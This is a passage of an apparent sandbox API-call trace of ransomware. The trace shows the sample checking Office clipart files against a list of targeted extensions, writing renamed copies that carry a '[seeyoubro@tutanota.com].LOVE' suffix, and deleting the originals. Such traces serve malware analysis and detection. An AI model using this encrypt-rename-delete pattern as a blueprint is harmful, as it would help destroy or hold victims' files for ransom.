Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.017] lstrlenW (lpString=".jpg") returned 4 [0207.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.017] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.017] lstrlenW (lpString="AN00790_.WMF") returned 12 [0207.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.018] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=5684) returned 1 [0207.018] CloseHandle (hObject=0x31c) returned 1 [0207.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0207.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.018] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.018] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0207.018] GetLastError () returned 0x0 [0207.018] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1634, lpOverlapped=0x0) returned 1 [0207.021] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1640, lpOverlapped=0x0) returned 1 [0207.022] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.022] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.022] SetEndOfFile (hFile=0x354) returned 1 [0207.022] CloseHandle (hObject=0x354) returned 1 [0207.022] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.023] SetEndOfFile (hFile=0x31c) returned 1 [0207.023] CloseHandle (hObject=0x31c) returned 1 [0207.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.024] lstrlenW (lpString=".doc") returned 4 [0207.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString=".docx") returned 5 [0207.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.024] lstrlenW (lpString=".pdf") returned 4 [0207.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString=".xls") returned 4 [0207.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.024] lstrlenW (lpString=".xlsx") returned 5 [0207.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.024] lstrlenW (lpString=".ppt") returned 4 [0207.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.024] lstrlenW (lpString=".zip") returned 4 [0207.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.024] lstrlenW (lpString=".rar") returned 4 [0207.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString=".bz2") returned 4 [0207.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString=".7z") returned 3 [0207.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.024] lstrlenW (lpString=".dbf") returned 4 [0207.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.024] lstrlenW (lpString=".1cd") returned 4 [0207.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".jpg") returned 4 [0207.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".doc") returned 4 [0207.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString=".docx") returned 5 [0207.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.025] lstrlenW (lpString=".pdf") returned 4 [0207.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString=".xls") returned 4 [0207.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.025] lstrlenW (lpString=".xlsx") returned 5 [0207.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.025] lstrlenW (lpString=".ppt") returned 4 [0207.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".zip") returned 4 [0207.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.025] lstrlenW (lpString=".rar") returned 4 [0207.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString=".bz2") returned 4 [0207.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString=".7z") returned 3 [0207.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".dbf") returned 4 [0207.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".1cd") returned 4 [0207.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0207.025] lstrlenW (lpString=".jpg") returned 4 [0207.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.026] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.026] lstrlenW (lpString="AN00853_.WMF") returned 12 [0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.026] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=20578) returned 1 [0207.026] CloseHandle (hObject=0x31c) returned 1 [0207.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0207.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.026] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.026] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0207.026] GetLastError () returned 0x0 [0207.026] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x5062, lpOverlapped=0x0) returned 1 [0207.069] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x5070, lpOverlapped=0x0) returned 1 [0207.070] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.070] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.070] SetEndOfFile (hFile=0x354) returned 1 [0207.070] CloseHandle (hObject=0x354) returned 1 [0207.072] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.072] SetEndOfFile (hFile=0x31c) returned 1 [0207.073] CloseHandle (hObject=0x31c) returned 1 [0207.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.073] lstrlenW (lpString=".doc") returned 4 [0207.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString=".docx") returned 5 [0207.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.074] lstrlenW (lpString=".pdf") returned 4 [0207.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString=".xls") returned 4 [0207.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.074] lstrlenW (lpString=".xlsx") returned 5 [0207.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.074] lstrlenW (lpString=".ppt") returned 4 [0207.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.074] lstrlenW (lpString=".zip") returned 4 [0207.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.074] lstrlenW (lpString=".rar") returned 4 [0207.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString=".bz2") returned 4 [0207.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString=".7z") returned 3 [0207.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.074] lstrlenW (lpString=".dbf") returned 4 [0207.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.074] lstrlenW (lpString=".1cd") returned 4 [0207.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.074] lstrlenW (lpString=".jpg") returned 4 [0207.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString=".doc") returned 4 [0207.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString=".docx") returned 5 [0207.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.075] lstrlenW (lpString=".pdf") returned 4 [0207.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString=".xls") returned 4 [0207.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.075] lstrlenW (lpString=".xlsx") returned 5 [0207.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.075] lstrlenW (lpString=".ppt") returned 4 [0207.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString=".zip") returned 4 [0207.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.075] lstrlenW (lpString=".rar") returned 4 [0207.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString=".bz2") returned 4 [0207.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString=".7z") returned 3 [0207.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString=".dbf") returned 4 [0207.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString=".1cd") returned 4 [0207.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0207.075] lstrlenW (lpString=".jpg") returned 4 [0207.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.076] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.076] lstrlenW (lpString="AN00965_.WMF") returned 12 [0207.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.076] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7072) returned 1 [0207.076] CloseHandle (hObject=0x31c) returned 1 [0207.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0207.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.076] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.076] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0207.077] GetLastError () returned 0x0 [0207.077] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0207.099] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0207.100] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.100] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.100] SetEndOfFile (hFile=0x354) returned 1 [0207.100] CloseHandle (hObject=0x354) returned 1 [0207.101] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.101] SetEndOfFile (hFile=0x31c) returned 1 [0207.101] CloseHandle (hObject=0x31c) returned 1 [0207.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.103] lstrlenW (lpString=".doc") returned 4 [0207.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.103] lstrlenW (lpString=".docx") returned 5 [0207.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.103] lstrlenW (lpString=".pdf") returned 4 [0207.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString=".xls") returned 4 [0207.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.104] lstrlenW (lpString=".xlsx") returned 5 [0207.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.104] lstrlenW (lpString=".ppt") returned 4 [0207.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString=".zip") returned 4 [0207.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.104] lstrlenW (lpString=".rar") returned 4 [0207.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString=".bz2") returned 4 [0207.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString=".7z") returned 3 [0207.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString=".dbf") returned 4 [0207.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString=".1cd") returned 4 [0207.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString=".jpg") returned 4 [0207.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.104] lstrlenW (lpString=".doc") returned 4 [0207.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString=".docx") returned 5 [0207.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.104] lstrlenW (lpString=".pdf") returned 4 [0207.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString=".xls") returned 4 [0207.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.104] lstrlenW (lpString=".xlsx") returned 5 [0207.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.104] lstrlenW (lpString=".ppt") returned 4 [0207.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.105] lstrlenW (lpString=".zip") returned 4 [0207.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.105] lstrlenW (lpString=".rar") returned 4 [0207.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.105] lstrlenW (lpString=".bz2") returned 4 [0207.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.105] lstrlenW (lpString=".7z") returned 3 [0207.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.105] lstrlenW (lpString=".dbf") returned 4 [0207.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.105] lstrlenW (lpString=".1cd") returned 4 [0207.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0207.105] lstrlenW (lpString=".jpg") returned 4 [0207.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.105] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.105] lstrlenW (lpString="AN01060_.WMF") returned 12 [0207.105] 